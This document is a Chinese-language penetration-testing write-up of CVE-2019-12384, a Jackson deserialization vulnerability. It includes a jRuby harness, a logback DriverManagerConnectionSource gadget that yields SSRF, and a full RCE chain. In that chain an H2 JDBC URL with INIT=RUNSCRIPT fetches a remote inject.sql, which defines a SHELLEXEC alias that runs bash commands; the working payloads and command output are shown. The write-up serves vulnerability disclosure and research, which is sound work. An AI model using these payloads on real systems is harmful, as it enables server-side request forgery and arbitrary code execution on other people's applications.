在某次渗透测试过程中,我们分析的某个应用使用 Jackson 库来反序列化JSON数据。经过分析后,我们找到了一个反序列化漏洞,可以用来控制待反序列化的类。在本文中,我们将分享攻击者如何利用这个反序列化漏洞发起SSRF(服务端请求伪造)以及RCE(远程代码执行)之类的攻击。
漏洞对应的编号为 CVE-2019-12384 ,RedHat的多个分支受该漏洞影响,如下所示:
根据Jackson开发者在 某篇文章 中提到的信息,触发这个Jackson漏洞需要满足如下要求:
1、目标应用接收来不可信客户端发送的JSON数据(可以手动编写代码或者使用不透明或者不可控的代码),这意味着我们无法约束正在发送的JSON数据;
2、目标应用使用多态类型处理方式来处理 java.lang.Object
类型(或者少数几个可使用的接口,如 java.util.Serializable
、 java.util.Comparable
)的属性;
3、目标应用至少包含能够在Java classpath中利用的一个“gadget”类。漏洞利用过程中需要用到能够配合Jackson的一个类。实际上,大多数gadget只能配合特定库使用,比如之前多次讨论过的JDK序列化场景;
4、目标应用使用的Jackson并没有阻止这个特定的“gadget”类。随着时间的推移,已发布的gadget数量越来越多,因此我们需要在gadget发现、报告和修补过程中占得先机。Jackson维护着一个黑名单列表,反序列化是平台的一个“功能”,官方会不断更新已报告的 gadget黑名单 。
在此次研究过程中,我们假设利用场景已满足条件1及条件2。实际上,我们重点寻找的是能够满足条件3及条件4的gadget。需要注意的是,Jackson是Java应用程序中最常使用的反序列化框架之一,而多态(polymorphism)是其中最重要的一个概念。如果攻击者使用 静态分析工具 或者其他动态分析技术(比如在请求/响应中grep查找 @class
)来寻找满足这些条件的利用点,那么这些目标定位起来并不是特别难。
在研究过程中,我们开发了一款工具来帮助分析这类漏洞。当Jackson反序列化 ch.qos.logback.core.db.DriverManagerConnectionSource
时,我们可以滥用这个类来实例化JDBC链接。JDBC的全称是“(J)ava (D)ata(b)ase (C)onnectivity”,这是一个Java API,用来连接数据库并执行查询语句,也是JavaSE(Java Standard Edition)的一部分。此外,JDBC使用了字符串到类的自动化映射,因此在整条攻击链中,这是用来加载并执行更多“gadget”的绝佳目标。
为了演示攻击过程,我们准备了一个封装器(wrapper),用来加载攻击者指定的各种多态类。在环境方面,我们使用的是基于Java虚拟机(JVM)的 jRuby ,用来加载并实例化Java类。
我们使用该环境来加载指定目录中的Java类,准备满足条件1及条件2的Jackson环境。为了完成该任务,我们开发了如下jRuby脚本:
require 'java' Dir["./classpath/*.jar"].each do |f| require f end java_import 'com.fasterxml.jackson.databind.ObjectMapper' java_import 'com.fasterxml.jackson.databind.SerializationFeature' content = ARGV[0] puts "Mapping" mapper = ObjectMapper.new mapper.enableDefaultTyping() mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false); puts "Serializing" obj = mapper.readValue(content, java.lang.Object.java_class) # invokes all the setters puts "objectified" puts "stringified: " + mapper.writeValueAsString(obj)
脚本主要执行如下操作:
1、第2行,加载 classpath
子目录中JAR中包含的所有类;
2、第5-13行,配置Jackson以满足漏洞利用条件;
3、第14-17行,反序列化及序列化以JSON形式传递给jRuby的一个Jackson多态对象。
在此次研究中,我们决定使用Java社区中广泛使用的gadget。我们的目标库为 Maven 中排名前100位的所有库,以便演示攻击影响。
如果大家想复现攻击过程,可以下载如下程序库,将这些库存放在 classpath
目录中:
需要注意的是,SSRF攻击中并不需要使用 h2
库,因为根据我们的经验,大多数情况下Java应用至少会加载一个JDBC驱动。JDBC驱动也是一种类,当传入JDBC url时会被自动实例化,完整URL会以参数形式传入处理。
我们可以使用如下命令来调用之前开发好的脚本:
$ jruby test.rb "["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:"}]"
在脚本第15行,Jackson会使用子对象中的键值递归调用所有set方法。更具体一些,Jackson反射库会调用 setUrl(String url)
,传入所需参数。此后(第17行),整个对象会被再次序列化为一个JSON对象。如果没有定义任何get方法,或者通过显示get方法,此时所有的字段都会被直接序列化。对我们来说比较有趣的是 getConnection()
。作为攻击者,实际上我们感兴趣的是所有的 “non pure”(“非纯”)方法 ,通过控制参数,这些方法会存在一些有趣的“副作用”。
当调用 getConnection
时,代码会实例化一个内存数据库。由于目标应用生存周期较短,从攻击者视角来看,我们看不到任何影响。为了完成更有意义的任务,我们创建了到远程数据库的一个连接。如果目标应用以远程服务方式进行部署,那么攻击者可以达到SSRF(Server Side Request Forgery)效果,典型攻击场景如下图所示:
大家可能已经注意到,这些攻击场景都与DoS以及SSRF有关。在这种情况下,虽然攻击者可能影响应用的安全性,但我们还是想与大家分享如何通过一种简单有效的方法,将SSRF转换成完成的RCE攻击链。
为了在应用上下文中获得完整的代码执行权限,我们在环境中部署了加载H2 JDBC驱动的功能。 H2 是非常快速的一个内存SQL数据库,通常是作为全功能版SQL数据库管理系统(比如Postgresql、MSSql、MySql或者OracleDB)的替代方案。H2配置起来非常方便,并且也支持许多模型,比如内存部署、文件部署或者远程服务器部署。H2可以通过JDBC URL运行SQL脚本,该功能主要目的是方便内存数据库进行INIT 迁移 。如果单有该功能,攻击者并不能在JVM上下文中执行Java代码。然而,由于H2在JVM框架内实现,因此 支持 指定包含java代码的自定义别名。我们可以滥用这一点来执行任意代码。
我们可以通过python构建一个简单的HTTP服务器(比如 python -m SimpleHttpServer
),托管如下 inject.sql
INIT文件:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { String[] command = {"bash", "-c", cmd}; java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("/A"); return s.hasNext() ? s.next() : ""; } $$; CALL SHELLEXEC('id > exploited.txt')
然后通过如下方式运行测试应用:
$ jruby test.rb "["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"}]" ... $ cat exploited.txt uid=501(...) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)
这样就能实现RCE效果。